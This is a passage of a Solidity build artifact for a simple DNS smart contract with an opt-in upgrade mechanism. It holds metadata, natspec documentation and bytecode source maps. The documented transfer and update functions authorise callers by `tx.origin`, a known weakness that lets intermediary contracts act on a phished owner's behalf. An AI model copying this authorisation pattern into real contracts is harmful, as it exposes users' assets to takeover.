registered domain.\"}},\"resolve(string)\":{\"returns\":{\"_0\":\"The IP that _domain points to and the owner.\"}},\"transfer(string,address)\":{\"params\":{\"_domain\":\"Domain to be transferred.\",\"_owner\":\"New owner.\"}},\"update(string,bytes4)\":{\"params\":{\"_domain\":\"Domain to be updated.\",\"_ip\":\"New ip that the domain should point to.\"}},\"upgradePlanned()\":{\"returns\":{\"_0\":\"true if there is a currently planned upgrade.\"}}},\"title\":\"Simple implementation of a DNS.\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"activeUpgrade(address)\":{\"notice\":\"Search backwards for the latest upgrade that _user opted-in. Does not consider the currently planned upgrade, if any.\"},\"admin()\":{\"notice\":\"Upgrade admin. Can only suggest new upgrades and cancel planned upgrades, but cannot change users options neither change the upgrades history.\"},\"cancelUpgrade()\":{\"notice\":\"Allows the upgrade manager to cancel a planned upgrade. No behavior changes, users still access their current preferred upgrade.\"},\"newUpgrade(uint256,address)\":{\"notice\":\"Allows the upgrade manager to suggest a new upgrade. Users must actively opt-in if they wish to use the newly suggested contract.\"},\"opt(uint8)\":{\"notice\":\"Allows a user to opt in or out the current planned upgrade.\"},\"register(string,bytes4,address)\":{\"notice\":\"Registers a new domain. Domain must be currently unused.\"},\"transfer(string,address)\":{\"notice\":\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\"},\"update(string,bytes4)\":{\"notice\":\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\"},\"upgradeInfo()\":{\"notice\":\"The upgrade engine for this DNS contract. Users need to actively opt-in the latest suggested upgrade in the `upgradeInfo` contract. If that upgrade is finalized and the user opted in, their calls will be directed to the upgrade contract they chose. That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`.\"},\"upgrades(uint256)\":{\"notice\":\"History of upgrades performed by this engine, which remain alive since different users might opt-in different upgrades. - An upgrade is currently planned if there is an element in the array and its `when` is in the future. - There cannot be two planned upgrades at the same time. - A user can opt-in multiple upgrades throughout time. The latest upgrade a user opted-in is their active upgrade.\"}},\"notice\":\"It uses `Upgrade` as its upgrade mechanism. If a user chooses to upgrade, the functions in this contract will relay the message to the upgrade chosen by that user. Users should only trust and opt-in upgrades that only accept messages where msg.sender == tx.origin or msg.sender is the original DNS contract or msg.sender is an upgrade that the user trusted at some point.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/DNS.sol\":\"DNS\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/DNS.sol\":{\"keccak256\":\"0x6cd821bd39563f4bc03dd3f112a4e6d843a39f07ae63c221fed932653f9d0759\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://cb1b834d2b517786c9f5d706e816d09a10cdcfc7566b58495873ca36ce5fb384\",\"dweb:/ipfs/QmcrwwNaev8NBDYdsZ6GPbG6zAFNoSzCVqpSu4QTB5DtCB\"]},\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]}},\"version\":1}","srcmap":"596:2296:1:-:0;;;1065:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1493:10:6;1485:18;;;;;;;;;;;;1117:12:1;1103:26;;;;;;;;;;;;1065:68;596:2296;;7:175:8;;111:6;105:13;96:22;;127:49;170:5;127:49;:::i;:::-;86:96;;;;:::o;188:314::-;;323:2;311:9;302:7;298:23;294:32;291:2;;;339:1;336;329:12;291:2;381:1;405:80;477:7;468:6;457:9;453:22;405:80;:::i;:::-;395:90;;353:142;281:221;;;;:::o;508:96::-;;574:24;592:5;574:24;:::i;:::-;563:35;;553:51;;;:::o;610:112::-;;692:24;710:5;692:24;:::i;:::-;681:35;;671:51;;;:::o;728:126::-;;805:42;798:5;794:54;783:65;;773:81;;;:::o;860:154::-;949:40;983:5;949:40;:::i;:::-;942:5;939:51;929:2;;1004:1;1001;994:12;929:2;919:95;:::o;596:2296:1:-;;;;;;;;;;;;;;;;;","srcmap-runtime":"596:2296:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1025:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3093:336:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2622:268:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;3579:173:6;;;:::i;:::-;;2640:297;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1067:31;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;1136:491:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2107:457:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;1583:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3814:143;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1630:477:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1268:30:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2110:509:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1025:36;;;:::o;3093:336:6:-;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3167:16:::1;:14;:16::i;:::-;3166:17;3158:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;3232:15;3224:5;:23;3216:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3315:1;3291:26;;3299:3;3291:26;;;;3283:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;3349:24;3376:8:::0;:15:::1;;;;;;;;;;;;;;;;;;;;;;;;3349:42;;3405:5;3395:2;:7;;:15;;;;3422:3;3414:2;:5;;;:11;;;;;;;;;;;;;;;;;;1409:1;3093:336:::0;;:::o;2622:268:1:-;2694:6;2702:13;2722:12;2736:7;2747:11;:25;;;2773:10;2747:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2721:63;;;;2792:7;2788:48;;;2816:2;2811:16;;;2828:7;2811:25;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2804:32;;;;;;;;2788:48;2848:4;2853:7;2848:13;;;;;;:::i;:::-;;;;;;;;;;;;;:16;;;;;;;;;;;;2866:4;2871:7;2866:13;;;;;;:::i;:::-;;;;;;;;;;;;;:19;;;;;;;;;;;;2840:46;;;;;;2622:268;;;;:::o;3579:173:6:-;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3635:16:::1;:14;:16::i;:::-;3627:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3701:8;3728:1;3710:8;:15;;;;:19;3701:29;;;;;;;;;;;;;;;;;;;3694:36;;;;;;;;;;;;;;;;;;;;;;;3734:8;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3579:173::o:0;2640:297::-;2716:4;2726:11;2740:8;:15;;;;2726:29;;2763:16;:14;:16::i;:::-;2759:33;;;2784:8;;;;;;2759:33;2801:6;2796:121;2817:6;2813:1;:10;2796:121;;;2846:8;2855:1;2846:11;;;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;2837:23;;:5;:23;;;:63;;;;;2894:6;2864:36;;;;;;;;:8;2873:1;2864:11;;;;;;;;;;;;;;;;;;:19;;:26;2884:5;2864:26;;;;;;;;;;;;;;;;;;;;;;;;;:36;;;;;;;;;2837:63;2833:84;;;2913:4;2906:11;;;;;;2833:84;2825:3;;;;;2796:121;;;;2928:5;2921:12;;;2640:297;;;;;:::o;1067:31::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1136:491:1:-;1228:12;1242:7;1253:11;:25;;;1279:10;1253:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1227:63;;;;1298:7;1294:73;;;1317:2;1312:17;;;1330:7;1339:3;1344:6;1312:39;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1356:7;;;;1294:73;1386:1;1379:8;;:3;:8;;;;;1371:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1439:1;1421:7;1415:21;:25;1407:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;1465:19;1487:4;1492:7;1487:13;;;;;;:::i;:::-;;;;;;;;;;;;;1465:35;;1524:1;1512:13;;:5;:8;;;;;;;;;;;;:13;;;;:42;;;;;1552:1;1529:25;;:5;:11;;;;;;;;;;;;:25;;;1512:42;1504:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;1596:3;1585:5;:8;;;:14;;;;;;;;;;;;;;;;;;1617:6;1603:5;:11;;;:20;;;;;;;;;;;;;;;;;;1136:491;;;;;;;:::o;2107:457:6:-;2168:4;2174;2184:6;2193:8;:15;;;;2184:24;;2245:1;2240;:6;2236:38;;;2259:5;2271:1;2251:23;;;;;;;2236:38;2283:16;:14;:16::i;:::-;2279:56;;;2320:1;2315;:6;;2308:14;;;;2327:3;;;;;;2279:56;2373:1;2368;:6;2364:38;;;2387:5;2399:1;2379:23;;;;;;;2364:38;2412:8;2423:1;2412:12;;2407:125;2432:1;2426:3;:7;2407:125;;;2485:6;2449:42;;;;;;;;:8;2464:1;2458:3;:7;2449:17;;;;;;;;;;;;;;;;;;:25;;:32;2475:5;2449:32;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;;;;;;2445:87;;;2505:4;2511:8;2526:1;2520:3;:7;2511:17;;;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;2497:35;;;;;;;;2445:87;2435:5;;;;;;2407:125;;;;2545:5;2557:1;2537:23;;;;;2107:457;;;;:::o;1583:174::-;1627:16;:14;:16::i;:::-;1619:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;1683:6;1692:8;:15;;;;1683:24;;1749:4;1711:8;1724:1;1720;:5;1711:15;;;;;;;;;;;;;;;;;;:23;;:35;1735:10;1711:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;;;;;;;1583:174;;:::o;3814:143::-;3861:4;3871:6;3880:8;:15;;;;3871:24;;3910:1;3906;:5;:47;;;;;3938:15;3915:8;3928:1;3924;:5;3915:15;;;;;;;;;;;;;;;;;;:20;;;:38;3906:47;3899:54;;;3814:143;:::o;1630:477:1:-;1704:12;1718:7;1729:11;:25;;;1755:10;1729:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1703:63;;;;1774:7;1770:184;;;1790:13;1812:2;1807:16;;;1824:7;1807:25;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1788:44;;;1854:10;1845:19;;:5;:19;;;1837:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1914:2;1909:15;;;1925:7;1934:3;1909:29;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1943:7;;;;;1770:184;1958:19;1980:4;1985:7;1980:13;;;;;;:::i;:::-;;;;;;;;;;;;;1958:35;;2020:10;2005:25;;:5;:11;;;;;;;;;;;;:25;;;1997:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;2068:1;2061:8;;:3;:8;;;;;2053:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;2100:3;2089:5;:8;;;:14;;;;;;;;;;;;;;;;;;1630:477;;;;;;:::o;1268:30:6:-;;;:::o;2110:509:1:-;2190:12;2204:7;2215:11;:25;;;2241:10;2215:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2189:63;;;;2260:7;2256:189;;;2276:13;2298:2;2293:16;;;2310:7;2293:25;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2274:44;;;2340:10;2331:19;;:5;:19;;;2323:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2400:2;2395:17;;;2413:7;2422:6;2395:34;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2434:7;;;;;2256:189;2449:19;2471:4;2476:7;2471:13;;;;;;:::i;:::-;;;;;;;;;;;;;2449:35;;2511:10;2496:25;;:5;:11;;;;;;;;;;;;:25;;;2488:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;2570:1;2552:20;;:6;:20;;;;2544:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;2609:6;2595:5;:11;;;:20;;;;;;;;;;;;;;;;;;2110:509;;;;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:137::-;;386:6;380:13;371:22;;402:30;426:5;402:30;:::i;:::-;361:77;;;;:::o;444:137::-;;527:6;514:20;505:29;;543:32;569:5;543:32;:::i;:::-;495:86;;;;:::o;587:141::-;;674:6;668:13;659:22;;690:32;716:5;690:32;:::i;:::-;649:79;;;;:::o;734:165::-;;831:6;818:20;809:29;;847:46;887:5;847:46;:::i;:::-;799:100;;;;:::o;905:169::-;;1006:6;1000:13;991:22;;1022:46;1062:5;1022:46;:::i;:::-;981:93;;;;:::o;1080:155::-;;1172:6;1159:20;1150:29;;1188:41;1223:5;1188:41;:::i;:::-;1140:95;;;;:::o;1241:466::-;;1346:3;1339:4;1331:6;1327:17;1323:27;1313:2;;1364:1;1361;1354:12;1313:2;1404:6;1391:20;1429:65;1444:49;1486:6;1444:49;:::i;:::-;1429:65;:::i;:::-;1420:74;;1517:6;1510:5;1503:21;1556:4;1548:6;1544:17;1592:4;1585:5;1581:16;1630:3;1621:6;1616:3;1612:16;1609:25;1606:2;;;1647:1;1644;1637:12;1606:2;1660:41;1694:6;1689:3;1684;1660:41;:::i;:::-;1303:404;;;;;;;:::o;1713:139::-;;1797:6;1784:20;1775:29;;1813:33;1840:5;1813:33;:::i;:::-;1765:87;;;;:::o;1858:260::-;;1966:2;1954:9;1945:7;1941:23;1937:32;1934:2;;;1982:1;1979;1972:12;1934:2;2024:1;2048:53;2093:7;2084:6;2073:9;2069:22;2048:53;:::i;:::-;2038:63;;1996:115;1924:194;;;;:::o;2124:456::-;;;2270:2;2258:9;2249:7;2245:23;2241:32;2238:2;;;2286:1;2283;2276:12;2238:2;2328:1;2352:61;2405:7;2396:6;2385:9;2381:22;2352:61;:::i;:::-;2342:71;;2300:123;2461:2;2486:77;2555:7;2546:6;2535:9;2531:22;2486:77;:::i;:::-;2476:87;;2433:140;2228:352;;;;;:::o;2586:434::-;;;2721:2;2709:9;2700:7;2696:23;2692:32;2689:2;;;2737:1;2734;2727:12;2689:2;2779:1;2803:63;2858:7;2849:6;2838:9;2834:22;2803:63;:::i;:::-;2793:73;;2751:125;2914:2;2939:64;2995:7;2986:6;2975:9;2971:22;2939:64;:::i;:::-;2929:74;;2886:127;2679:341;;;;;:::o;3026:429::-;;;3164:2;3152:9;3143:7;3139:23;3135:32;3132:2;;;3180:1;3177;3170:12;3132:2;3222:1;3246:66;3304:7;3295:6;3284:9;3280:22;3246:66;:::i;:::-;3236:76;;3194:128;3360:2;3385:53;3430:7;3421:6;3410:9;3406:22;3385:53;:::i;:::-;3375:63;;3332:116;3122:333;;;;;:::o;3461:276::-;;3577:2;3565:9;3556:7;3552:23;3548:32;3545:2;;;3593:1;3590;3583:12;3545:2;3635:1;3659:61;3712:7;3703:6;3692:9;3688:22;3659:61;:::i;:::-;3649:71;;3607:123;3535:202;;;;:::o;3743:373::-;;3861:2;3849:9;3840:7;3836:23;3832:32;3829:2;;;3877:1;3874;3867:12;3829:2;3947:1;3936:9;3932:17;3919:31;3977:18;3969:6;3966:30;3963:2;;;4009:1;4006;3999:12;3963:2;4036:63;4091:7;4082:6;4071:9;4067:22;4036:63;:::i;:::-;4026:73;;3891:218;3819:297;;;;:::o;4122:516::-;;;4257:2;4245:9;4236:7;4232:23;4228:32;4225:2;;;4273:1;4270;4263:12;4225:2;4343:1;4332:9;4328:17;4315:31;4373:18;4365:6;4362:30;4359:2;;;4405:1;4402;4395:12;4359:2;4432:63;4487:7;4478:6;4467:9;4463:22;4432:63;:::i;:::-;4422:73;;4287:218;4543:2;4568:53;4613:7;4604:6;4593:9;4589:22;4568:53;:::i;:::-;4558:63;;4515:116;4215:423;;;;;:::o;4644:514::-;;;4778:2;4766:9;4757:7;4753:23;4749:32;4746:2;;;4794:1;4791;4784:12;4746:2;4864:1;4853:9;4849:17;4836:31;4894:18;4886:6;4883:30;4880:2;;;4926:1;4923;4916:12;4880:2;4953:63;5008:7;4999:6;4988:9;4984:22;4953:63;:::i;:::-;4943:73;;4808:218;5064:2;5089:52;5133:7;5124:6;5113:9;5109:22;5089:52;:::i;:::-;5079:62;;5036:115;4736:422;;;;;:::o;5164:657::-;;;;5315:2;5303:9;5294:7;5290:23;5286:32;5283:2;;;5331:1;5328;5321:12;5283:2;5401:1;5390:9;5386:17;5373:31;5431:18;5423:6;5420:30;5417:2;;;5463:1;5460;5453:12;5417:2;5490:63;5545:7;5536:6;5525:9;5521:22;5490:63;:::i;:::-;5480:73;;5345:218;5601:2;5626:52;5670:7;5661:6;5650:9;5646:22;5626:52;:::i;:::-;5616:62;;5573:115;5726:2;5751:53;5796:7;5787:6;5776:9;5772:22;5751:53;:::i;:::-;5741:63;;5698:116;5273:548;;;;;:::o;5827:260::-;;5935:2;5923:9;5914:7;5910:23;5906:32;5903:2;;;5951:1;5948;5941:12;5903:2;5993:1;6017:53;6062:7;6053:6;6042:9;6038:22;6017:53;:::i;:::-;6007:63;;5965:115;5893:194;;;;:::o;6093:429::-;;;6231:2;6219:9;6210:7;6206:23;6202:32;6199:2;;;6247:1;6244;6237:12;6199:2;6289:1;6313:53;6358:7;6349:6;6338:9;6334:22;6313:53;:::i;:::-;6303:63;;6261:115;6414:2;6439:66;6497:7;6488:6;6477:9;6473:22;6439:66;:::i;:::-;6429:76;;6386:129;6189:333;;;;;:::o;6528:147::-;6623:45;6662:5;6623:45;:::i;:::-;6618:3;6611:58;6601:74;;:::o;6681:118::-;6768:24;6786:5;6768:24;:::i;:::-;6763:3;6756:37;6746:53;;:::o;6805:109::-;6886:21;6901:5;6886:21;:::i;:::-;6881:3;6874:34;6864:50;;:::o;6920:115::-;7005:23;7022:5;7005:23;:::i;:::-;7000:3;6993:36;6983:52;;:::o;7041:157::-;7141:50;7185:5;7141:50;:::i;:::-;7136:3;7129:63;7119:79;;:::o;7204:163::-;7307:53;7354:5;7307:53;:::i;:::-;7302:3;7295:66;7285:82;;:::o;7373:364::-;;7489:39;7522:5;7489:39;:::i;:::-;7544:71;7608:6;7603:3;7544:71;:::i;:::-;7537:78;;7624:52;7669:6;7664:3;7657:4;7650:5;7646:16;7624:52;:::i;:::-;7701:29;7723:6;7701:29;:::i;:::-;7696:3;7692:39;7685:46;;7465:272;;;;;:::o;7743:377::-;;7877:39;7910:5;7877:39;:::i;:::-;7932:89;8014:6;8009:3;7932:89;:::i;:::-;7925:96;;8030:52;8075:6;8070:3;8063:4;8056:5;8052:16;8030:52;:::i;:::-;8107:6;8102:3;8098:16;8091:23;;7853:267;;;;;:::o;8126:329::-;;8289:67;8353:2;8348:3;8289:67;:::i;:::-;8282:74;;8386:33;8382:1;8377:3;8373:11;8366:54;8446:2;8441:3;8437:12;8430:19;;8272:183;;;:::o;8461:321::-;;8624:67;8688:2;8683:3;8624:67;:::i;:::-;8617:74;;8721:25;8717:1;8712:3;8708:11;8701:46;8773:2;8768:3;8764:12;8757:19;;8607:175;;;:::o;8788:325::-;;8951:67;9015:2;9010:3;8951:67;:::i;:::-;8944:74;;9048:29;9044:1;9039:3;9035:11;9028:50;9104:2;9099:3;9095:12;9088:19;;8934:179;;;:::o;9119:313::-;;9282:67;9346:2;9341:3;9282:67;:::i;:::-;9275:74;;9379:17;9375:1;9370:3;9366:11;9359:38;9423:2;9418:3;9414:12;9407:19;;9265:167;;;:::o;9438:312::-;;9601:67;9665:2;9660:3;9601:67;:::i;:::-;9594:74;;9698:16;9694:1;9689:3;9685:11;9678:37;9741:2;9736:3;9732:12;9725:19;;9584:166;;;:::o;9756:309::-;;9919:67;9983:2;9978:3;9919:67;:::i;:::-;9912:74;;10016:13;10012:1;10007:3;10003:11;9996:34;10056:2;10051:3;10047:12;10040:19;;9902:163;;;:::o;10071:366::-;;10234:67;10298:2;10293:3;10234:67;:::i;:::-;10227:74;;10331:34;10327:1;10322:3;10318:11;10311:55;10397:4;10392:2;10387:3;10383:12;10376:26;10428:2;10423:3;10419:12;10412:19;;10217:220;;;:::o;10443:367::-;;10606:67;10670:2;10665:3;10606:67;:::i;:::-;10599:74;;10703:34;10699:1;10694:3;10690:11;10683:55;10769:5;10764:2;10759:3;10755:12;10748:27;10801:2;10796:3;10792:12;10785:19;;10589:221;;;:::o;10816:319::-;;10979:67;11043:2;11038:3;10979:67;:::i;:::-;10972:74;;11076:23;11072:1;11067:3;11063:11;11056:44;11126:2;11121:3;11117:12;11110:19;;10962:173;;;:::o;11141:312::-;;11304:67;11368:2;11363:3;11304:67;:::i;:::-;11297:74;;11401:16;11397:1;11392:3;11388:11;11381:37;11444:2;11439:3;11435:12;11428:19;;11287:166;;;:::o;11459:322::-;;11622:67;11686:2;11681:3;11622:67;:::i;:::-;11615:74;;11719:26;11715:1;11710:3;11706:11;11699:47;11772:2;11767:3;11763:12;11756:19;;11605:176;;;:::o;11787:118::-;11874:24;11892:5;11874:24;:::i;:::-;11869:3;11862:37;11852:53;;:::o;11911:275::-;;12065:95;12156:3;12147:6;12065:95;:::i;:::-;12058:102;;12177:3;12170:10;;12047:139;;;;:::o;12192:222::-;;12323:2;12312:9;12308:18;12300:26;;12336:71;12404:1;12393:9;12389:17;12380:6;12336:71;:::i;:::-;12290:124;;;;:::o;12420:238::-;;12559:2;12548:9;12544:18;12536:26;;12572:79;12648:1;12637:9;12633:17;12624:6;12572:79;:::i;:::-;12526:132;;;;:::o;12664:210::-;;12789:2;12778:9;12774:18;12766:26;;12802:65;12864:1;12853:9;12849:17;12840:6;12802:65;:::i;:::-;12756:118;;;;:::o;12880:346::-;;13046:2;13035:9;13031:18;13023:26;;13059:65;13121:1;13110:9;13106:17;13097:6;13059:65;:::i;:::-;13134:85;13215:2;13204:9;13200:18;13191:6;13134:85;:::i;:::-;13013:213;;;;;:::o;13232:328::-;;13389:2;13378:9;13374:18;13366:26;;13402:69;13468:1;13457:9;13453:17;13444:6;13402:69;:::i;:::-;13481:72;13549:2;13538:9;13534:18;13525:6;13481:72;:::i;:::-;13356:204;;;;;:::o;13566:254::-;;13713:2;13702:9;13698:18;13690:26;;13726:87;13810:1;13799:9;13795:17;13786:6;13726:87;:::i;:::-;13680:140;;;;:::o;13826:313::-;;13977:2;13966:9;13962:18;13954:26;;14026:9;14020:4;14016:20;14012:1;14001:9;13997:17;13990:47;14054:78;14127:4;14118:6;14054:78;:::i;:::-;14046:86;;13944:195;;;;:::o;14145:423::-;;14324:2;14313:9;14309:18;14301:26;;14373:9;14367:4;14363:20;14359:1;14348:9;14344:17;14337:47;14401:78;14474:4;14465:6;14401:78;:::i;:::-;14393:86;;14489:72;14557:2;14546:9;14542:18;14533:6;14489:72;:::i;:::-;14291:277;;;;;:::o;14574:419::-;;14751:2;14740:9;14736:18;14728:26;;14800:9;14794:4;14790:20;14786:1;14775:9;14771:17;14764:47;14828:78;14901:4;14892:6;14828:78;:::i;:::-;14820:86;;14916:70;14982:2;14971:9;14967:18;14958:6;14916:70;:::i;:::-;14718:275;;;;;:::o;14999:529::-;;15204:2;15193:9;15189:18;15181:26;;15253:9;15247:4;15243:20;15239:1;15228:9;15224:17;15217:47;15281:78;15354:4;15345:6;15281:78;:::i;:::-;15273:86;;15369:70;15435:2;15424:9;15420:18;15411:6;15369:70;:::i;:::-;15449:72;15517:2;15506:9;15502:18;15493:6;15449:72;:::i;:::-;15171:357;;;;;;:::o;15534:419::-;;15738:2;15727:9;15723:18;15715:26;;15787:9;15781:4;15777:20;15773:1;15762:9;15758:17;15751:47;15815:131;15941:4;15815:131;:::i;:::-;15807:139;;15705:248;;;:::o;15959:419::-;;16163:2;16152:9;16148:18;16140:26;;16212:9;16206:4;16202:20;16198:1;16187:9;16183:17;16176:47;16240:131;16366:4;16240:131;:::i;:::-;16232:139;;16130:248;;;:::o;16384:419::-;;16588:2;16577:9;16573:18;16565:26;;16637:9;16631:4;16627:20;16623:1;16612:9;16608:17;16601:47;16665:131;16791:4;16665:131;:::i;:::-;16657:139;;16555:248;;;:::o;16809:419::-;;17013:2;17002:9;16998:18;16990:26;;17062:9;17056:4;17052:20;17048:1;17037:9;17033:17;17026:47;17090:131;17216:4;17090:131;:::i;:::-;17082:139;;16980:248;;;:::o;17234:419::-;;17438:2;17427:9;17423:18;17415:26;;17487:9;17481:4;17477:20;17473:1;17462:9;17458:17;17451:47;17515:131;17641:4;17515:131;:::i;:::-;17507:139;;17405:248;;;:::o;17659:419::-;;17863:2;17852:9;17848:18;17840:26;;17912:9;17906:4;17902:20;17898:1;17887:9;17883:17;17876:47;17940:131;18066:4;17940:131;:::i;:::-;17932:139;;17830:248;;;:::o;18084:419::-;;18288:2;18277:9;18273:18;18265:26;;18337:9;18331:4;18327:20;18323:1;18312:9;18308:17;18301:47;18365:131;18491:4;18365:131;:::i;:::-;18357:139;;18255:248;;;:::o;18509:419::-;;18713:2;18702:9;18698:18;18690:26;;18762:9;18756:4;18752:20;18748:1;18737:9;18733:17;18726:47;18790:131;18916:4;18790:131;:::i;:::-;18782:139;;18680:248;;;:::o;18934:419::-;;19138:2;19127:9;19123:18;19115:26;;19187:9;19181:4;19177:20;19173:1;19162:9;19158:17;19151:47;19215:131;19341:4;19215:131;:::i;:::-;19207:139;;19105:248;;;:::o;19359:419::-;;19563:2;19552:9;19548:18;19540:26;;19612:9;19606:4;19602:20;19598:1;19587:9;19583:17;19576:47;19640:131;19766:4;19640:131;:::i;:::-;19632:139;;19530:248;;;:::o;19784:419::-;;19988:2;19977:9;19973:18;19965:26;;20037:9;20031:4;20027:20;20023:1;20012:9;20008:17;20001:47;20065:131;20191:4;20065:131;:::i;:::-;20057:139;;19955:248;;;:::o;20209:358::-;;20381:2;20370:9;20366:18;20358:26;;20394:71;20462:1;20451:9;20447:17;20438:6;20394:71;:::i;:::-;20475:85;20556:2;20545:9;20541:18;20532:6;20475:85;:::i;:::-;20348:219;;;;;:::o;20573:278::-;;20639:2;20633:9;20623:19;;20681:4;20673:6;20669:17;20788:6;20776:10;20773:22;20752:18;20740:10;20737:34;20734:62;20731:2;;;20799:13;;:::i;:::-;20731:2;20834:10;20830:2;20823:22;20613:238;;;;:::o;20857:327::-;;21009:18;21001:6;20998:30;20995:2;;;21031:13;;:::i;:::-;20995:2;21111:4;21107:9;21100:4;21092:6;21088:17;21084:33;21076:41;;21172:4;21166;21162:15;21154:23;;20924:260;;;:::o;21190:99::-;;21276:5;21270:12;21260:22;;21249:40;;;:::o;21295:169::-;;21413:6;21408:3;21401:19;21453:4;21448:3;21444:14;21429:29;;21391:73;;;;:::o;21470:148::-;;21609:3;21594:18;;21584:34;;;;:::o;21624:96::-;;21690:24;21708:5;21690:24;:::i;:::-;21679:35;;21669:51;;;:::o;21726:90::-;;21803:5;21796:13;21789:21;21778:32;;21768:48;;;:::o;21822:149::-;;21898:66;21891:5;21887:78;21876:89;;21866:105;;;:::o;21977:109::-;;22056:24;22074:5;22056:24;:::i;:::-;22045:35;;22035:51;;;:::o;22092:126::-;;22169:42;22162:5;22158:54;22147:65;;22137:81;;;:::o;22224:77::-;;22290:5;22279:16;;22269:32;;;:::o;22307:134::-;;22398:37;22429:5;22398:37;:::i;:::-;22385:50;;22375:66;;;:::o;22447:152::-;;22543:50;22587:5;22543:50;:::i;:::-;22530:63;;22520:79;;;:::o;22605:126::-;;22701:24;22719:5;22701:24;:::i;:::-;22688:37;;22678:53;;;:::o;2